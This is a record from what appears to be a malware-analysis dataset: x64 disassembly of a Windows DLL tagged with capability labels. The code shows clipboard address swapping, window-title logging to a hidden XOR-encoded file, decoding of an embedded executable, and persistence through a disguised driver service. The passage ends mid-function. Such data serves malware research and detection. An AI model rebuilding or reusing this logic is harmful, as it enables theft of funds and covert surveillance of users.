joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180006f28
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
cmp dword [0x1800609dc], 0
mov rbx, rcx
je 0x180007140
call qword [rcx + 0x30]
cmp eax, 0x46
jb 0x180007140
mov rcx, rbx
call qword [rbx + 0x30]
xor edx, edx
mov rcx, rbx
call qword [rbx + gethostname]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
xor r8d, r8d
mov rcx, rsi
lea edx, [rax*2 + 1]
call fcn.180014760
movsxd rdi, eax
test eax, eax
jle 0x180007140
xor ecx, ecx
lea rdx, [rdi + 1]
mov r8d, 0x1000
mov r14, rdi
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180007140
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8, rbx
mov rcx, rsi
lea edx, [rax*2 + 1]
call fcn.180014760
xor ebp, ebp
mov rdx, rbx
cmp byte [rdx], 0x54
jne 0x18000701a
cmp edi, 0x21
jl 0x18000712f
xor ecx, ecx
mov r8b, byte [rdx + rcx]
lea eax, [r8 - 0x30]
cmp al, 0x2a
ja 0x180007005
movabs r9, 0x7fffffe03ff
bt r9, rax
jb 0x18000700f
sub r8b, 0x61
cmp r8b, 0x19
ja 0x18000701a
inc rcx
cmp rcx, 0x21
jl 0x180006fe9
jmp 0x18000702c
inc rdx
inc ebp
mov rax, rdx
dec edi
sub rax, rbx
cmp rax, r14
jl 0x180006fd9
lea rdi, [0x180060a50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
xor r8d, r8d
mov rcx, rdi
lea edx, [rax + rax]
call fcn.180014760
xor ecx, ecx
movsxd rdx, eax
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x18000712f
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8, rsi
mov rcx, rdi
lea edx, [rax + rax]
call fcn.180014760
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
movsxd rcx, ebp
mov rdx, rsi
add rcx, rbx
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18000711e
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
mov ecx, 2
movsxd rdx, eax
call qword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov qword [0x180060ae0], rax
test rax, rax
je 0x18000711e
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GlobalLock]
mov rdi, rax
test rax, rax
je 0x18000711e
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
movsxd r8, eax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [0x180060ae0]
call qword [sym.imp.KERNEL32.DLL_GlobalUnlock]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18000739c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1770]
mov eax, 0x1870
call sub.ntdll.dll___chkstk
sub rsp, rax
mov edi, 0x800
lea rcx, [rbp + 0x770]
mov r8d, edi
xor edx, edx
xor ebx, ebx
call sub.ntdll.dll_memset
mov r8d, edi
mov dword [rbp + 0x1780], ebx
xor edx, edx
mov dword [rbp + 0x1788], ebx
lea rcx, [rbp + 0xf70]
call sub.ntdll.dll_memset
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x400
lea rdx, [rbp + 0x770]
mov rcx, rax
mov qword [0x180060b00], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, qword [0x180060b00]
lea rdx, [rbp + 0x1780]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [rbp + 0x1780]
test ecx, ecx
je 0x180007451
lea rdx, [rbp + 0xf70]
call fcn.180014b60
mov ecx, dword [rbp + 0x1780]
lea rdx, [rbp + 0x1788]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov r8, rdi
lea rcx, [rsp + 0x70]
xor edx, edx
call sub.ntdll.dll_memset
mov rax, qword [0x180060b08]
cmp qword [0x180060b00], rax
je 0x180007549
lea rcx, [rbp + 0x770]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
test eax, eax
jle 0x18000753b
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x6a]
movzx edx, word [rsp + 0x68]
movzx r8d, word [rsp + 0x66]
movzx r9d, word [rsp + 0x62]
movzx r10d, word [rsp + 0x60]
mov dword [rsp + 0x50], eax
lea rax, [rbp + 0x770]
mov dword [rsp + 0x48], ecx
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], edx
lea rdx, str._r_n_PROCESS:__s_r_n_USERID:__d_r_n_TITLE:__s_r_n_TIME:__d__d__d___d:_d:_d_r_n
mov dword [rsp + 0x38], r8d
lea r8, [rbp + 0xf70]
mov dword [rsp + 0x30], r9d
mov r9d, dword [rbp + 0x1788]
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rcx, [rsp + 0x70]
lea edx, [rax + rax]
call fcn.180007560
mov r8, rdi
lea rcx, [rsp + 0x70]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov r8, rdi
lea rcx, [rbp + 0x770]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov ebx, 1
mov rcx, qword [0x180060b00]
mov qword [0x180060b08], rcx
lea r11, [rsp + 0x1870]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180007560
Capabilities:
Encode data using xor
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov esi, edx
mov r14, rcx
call qword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
mov dword [0x180060a14], eax
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str._temp.key
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
and dword [rbp + 0x190], 0
mov edi, 0x80
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r12d, [rdi - 0x7e]
mov r8d, r12d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180007676
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov r8d, r12d
mov dword [rsp + 0x20], r12d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r9d, r12d
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov eax, 0xfeff
lea rdx, [rbp + 0x188]
mov r8d, r12d
mov word [rbp + 0x188], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, r12d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov r9d, r12d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
xor ecx, ecx
movsxd rdx, esi
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800076fd
test esi, esi
je 0x1800076c2
mov rcx, rax
sub r14, rax
mov r8, rsi
mov al, byte [rcx + r14]
xor al, 0x62
mov byte [rcx], al
inc rcx
sub r8, 1
jne 0x1800076b1
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov edx, r12d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
test rbx, rbx
je 0x18000770b
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x280]
xor eax, eax
add rsp, 0x250
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009348
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3e8]
sub rsp, 0x4c0
mov r12, qword [rcx]
mov rbx, r8
mov r14, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rbp + 0x1b0]
mov r8d, 0x208
mov edi, r9d
call sub.ntdll.dll_memset
mov rdx, rbx
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x180058050]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x250
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov ecx, dword [rsi + 8]
xor r13d, r13d
mov dword [rsp + 0x40], ecx
xorps xmm0, xmm0
mov rcx, qword [rsi + 0x10]
mov r15, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x20], r13
movdqu xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x48], r13
mov dword [rsp + 0x54], 0x2072024
mov dword [rsp + 0x44], edi
mov dword [rsp + 0x50], r13d
call fcn.180003698
mov rsi, rax
test r15, r15
jne 0x1800094b2
test rax, rax
je 0x180009431
mov rcx, rax
call fcn.1800037c0
test r14, r14
je 0x18000943e
mov rcx, r14
call fcn.1800037c0
lea r11, [rsp + 0x4c0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp word [rbp - 0x74], 0x2e
jne 0x18000947e
movzx eax, word [rbp - 0x72]
test ax, ax
je 0x1800094b2
cmp ax, 0x2e
jne 0x18000947e
cmp word [rbp - 0x70], r13w
je 0x1800094b2
test r14, r14
je 0x1800094a1
mov rcx, r14
call qword [r14 + 0x30]
xor edx, edx
mov rcx, r14
mov ebx, eax
call qword [r14 + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov r8d, 0x250
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [rsi + 0x28]
lea rdx, [rsp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x180009461
mov rcx, rsi
call qword [rsi + 0x30]
test eax, eax
jne 0x180009508
test r14, r14
je 0x180009512
mov rcx, r14
call qword [r14 + 0x30]
xor edx, edx
mov rcx, r14
mov ebx, eax
call qword [r14 + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov rcx, r14
call qword [r14 + 0x30]
mov rcx, rsi
mov ebx, eax
call qword [rsi + 0x30]
add ebx, eax
mov dword [rsp + 0x48], ebx
jmp 0x180009512
mov rcx, rsi
call qword [rsi + 0x30]
mov dword [rsp + 0x48], eax
call fcn.180003698
mov r8d, gethostname
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, rsi
call qword [rsi + 0x30]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call qword [rsi + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, r12
mov rdx, rax
call qword [r12 + gethostbyname]
mov rcx, rsi
call fcn.1800037c0
mov rcx, rdi
call fcn.1800037c0
test r14, r14
je 0x180009582
mov rcx, r14
call fcn.1800037c0
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_FindClose]
jmp 0x18000943e
Function at 0x18000a19c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
and qword [rbp - 0x40], 0
mov rbx, rcx
and dword [rbp - 0x14], 0
xorps xmm0, xmm0
mov rcx, rdx
mov dword [rbp - 0xc], 0x2072024
movdqu xmmword [rbp - 0x38], xmm0
mov rsi, rdx
mov dword [rbp - 0x1c], 0x3004
call qword [rdx + 0x30]
and dword [rbp - 0x10], 0
mov dword [rbp - 0x18], eax
mov eax, dword [rbx + 8]
mov dword [rbp - 0x20], eax
mov rax, qword [rbx + 0x10]
mov qword [rbp - 0x28], rax
call fcn.180003698
mov r8d, gethostname
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, rsi
call qword [rsi + 0x30]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call qword [rsi + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rsi
call fcn.1800037c0
and dword [rbp + 0x10], 0
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea r8, [0x180009f84]
and dword [rsp + 0x20], 0
mov r9, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rcx, qword [0x180060a18]
test rcx, rcx
je 0x18000a26c
mov edx, dword [rbp + 0x10]
mov r8, rax
call fcn.180010678
lea r11, [rsp + 0x70]
xor eax, eax
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000b028
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x20
and dword [rax + 0x10], 0
mov rdi, rcx
and dword [rax + 0x18], 0
mov rdx, rcx
mov ebx, 4
lea rcx, [rax + 0x18]
mov r8d, ebx
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x18000b142
lea rdx, [rax + 4]
mov r8d, ebx
add rdx, rdi
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x18000b142
mov edx, eax
mov r9d, ebx
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18000b0a3
xor eax, eax
jmp 0x18000b145
mov edx, dword [rsp + 0x40]
mov rcx, rbx
mov r8d, dword [rsp + 0x38]
add rdx, 8
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
cmp byte [rbx], 0x4d
jne 0x18000b0c7
cmp byte [rbx + 1], 0x5a
je 0x18000b0e0
movsxd rcx, dword [rsp + 0x38]
test rcx, rcx
jle 0x18000b0e0
mov rax, rbx
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x18000b0d4
movsxd rax, dword [rbx + 0x3c]
movzx ecx, word [rax + rbx + 4]
mov eax, 0x200
cmp cx, ax
je 0x18000b12a
mov eax, 0x8664
cmp cx, ax
je 0x18000b12a
mov eax, 0x14c
xor edx, edx
cmp cx, ax
mov r8d, 0x8000
mov rcx, rbx
jne 0x18000b11f
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, 0x20
jmp 0x18000b145
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x18000b09c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, 0x40
jmp 0x18000b145
or eax, 0xffffffff
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000bf64
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x420
mov rdi, rcx
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
xor r8d, r8d
mov rcx, rdi
lea edx, [rax*2 + 1]
call fcn.180014760
test eax, eax
jle 0x18000c004
xor ecx, ecx
inc eax
movsxd rdx, eax
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000c004
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8, rbx
mov rcx, rdi
lea edx, [rax*2 + 1]
call fcn.180014760
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call sub.ntdll.dll_memset
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, 3
mov rcx, rbx
cmp eax, edi
jg 0x18000c01c
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
or eax, 0xffffffff
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, edi
jle 0x18000c072
lea rsi, [rbx + 3]
cmp byte [rsi], 0x5c
jne 0x18000c060
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call qword [sym.imp.ntdll.dll_memset]
movsxd r8, edi
lea rcx, [rsp + 0x20]
mov rdx, rbx
call qword [sym.imp.ntdll.dll_memcpy]
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov rcx, rbx
inc edi
inc rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp edi, eax
jl 0x18000c02a
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
xor eax, eax
jmp 0x18000c007
Function at 0x18000d17c
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x1a8]
sub rsp, 0x290
mov r15, qword [rcx]
xor edx, edx
and dword [rbp + 0x1b0], 0
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
call fcn.180003698
lea rdx, [0x180060794]
mov rsi, rax
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str._temp.key
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000d2b3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
xor ecx, ecx
mov edx, eax
mov r8d, 0x1000
mov r14d, eax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x18000d25c
test rbx, rbx
je 0x18000d254
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, rsi
jmp 0x18000d351
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x1b0]
mov r8d, r14d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_ReadFile]
lea r8d, [r14 - 2]
lea rdx, [rdi + 2]
test r8d, r8d
je 0x18000d297
mov rax, rdx
mov ecx, r8d
xor byte [rax], 0x62
inc rax
sub rcx, 1
jne 0x18000d28b
mov rcx, rsi
call qword [rsi + 0x28]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
test rbx, rbx
je 0x18000d2bc
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov rcx, rsi
mov dword [rsp + 0x74], 0x2072024
mov dword [rsp + 0x64], 0xe000
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [rsi + 0x30]
and dword [rsp + 0x70], 0
mov dword [rsp + 0x68], eax
call fcn.180003698
mov r8d, gethostname
lea rdx, [rsp + 0x40]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, rsi
call qword [rsi + 0x30]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call qword [rsi + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, r15
mov rdx, rax
call qword [r15 + 0x30]
mov rcx, rsi
call fcn.1800037c0
mov rcx, rdi
call fcn.1800037c0
lea r11, [rsp + 0x290]
xor eax, eax
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x18000d448
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x168]
sub rsp, 0x260
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
and dword [rbp + 0x178], 0
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
mov rsi, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x18000d4f8
lea rcx, [rsp + 0x4c]
lea rbx, [rdi + 0x28]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
test eax, eax
jle 0x18000d4e6
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x178]
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x178], eax
call qword [rbx]
mov r8d, dword [rbp + 0x178]
lea rdx, [rsp + 0x4c]
mov rcx, rdi
call qword [rbx]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x18000d4ab
lea r11, [rsp + 0x260]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180010134
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x490
mov ebx, 0x208
lea rcx, [rsp + 0x280]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, str.tpdrivers
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov r8d, ebx
lea rcx, [rsp + 0x70]
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x70]
call fcn.180013da4
lea rdx, str._system32drivers_tpdrivers.sys
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x1800101bb
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180010261
and qword [rsp + 0x60], 0
lea rax, str.FltMgr
and qword [rsp + 0x58], 0
lea r8, [rsp + 0x280]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x280]
and qword [rsp + 0x48], 0
lea rax, str.FSFilter_Activity_Monitor
mov qword [rsp + 0x40], rax
mov r9d, 0xf01ff
lea rax, [rsp + 0x70]
mov rcx, rbx
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 2
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
jne 0x18001023f
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1800101b0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x490
pop rdi
ret
Function at 0x180013a6c
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xf0
mov rdi, rcx
mov qword [0x1800609d0], rcx
mov rdx, rcx
mov ebp, 4
mov r8d, ebp
lea rcx, [0x180060a10]
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180060a10]
mov esi, 0x3000
mov r8d, esi
mov r9d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
xor ebx, ebx
mov qword [0x180060a00], rax
test rax, rax
je 0x180013c32
mov r8d, dword [0x180060a10]
lea rdx, [rdi + 4]
mov rcx, rax
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180060a10]
lea rcx, [0x180060a40]
add rdx, rbp
mov r8d, ebp
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, dword [0x180060a40]
test eax, eax
je 0x180013c32
mov edx, eax
mov r9d, ebp
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov qword [0x180060a20], rax
mov rcx, rax
test rax, rax
je 0x180013c32
mov edx, dword [0x180060a10]
mov r8d, dword [0x180060a40]
add rdx, 8
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180060a40]
lea rsi, [0x18005ff30]
mov ecx, dword [0x180060a10]
add rdx, rdi
add rcx, 0xc
mov r8d, 0xa88
add rdx, rcx
mov dword [0x180060a3c], r8d
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memcpy]
movsxd rax, dword [0x180060a3c]
test rax, rax
jle 0x180013b96
xor byte [rbx + rsi], 0x3a
inc rbx
cmp rbx, rax
jl 0x180013b8a
mov esi, 0xc8
lea rcx, [rsp + 0x20]
mov r8d, esi
xor edx, edx
call sub.ntdll.dll_memset
lea rbx, [0x180060794]
mov rcx, rbx
lea r8d, [rsi - 0x64]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntdll.dll_memset]
mov r8d, esi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_memcpy]
mov ecx, dword [0x180060a3c]
mov r8, rbp
mov edx, dword [0x180060a40]
mov eax, dword [0x180060a10]
add rdx, rdi
add rdx, rcx
add rax, 0xc
add rdx, rax
lea rcx, [0x180060a38]
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x180060a3c]
add edx, dword [0x180060a40]
mov ecx, dword [0x180060a10]
add ecx, 0x10
add ecx, edx
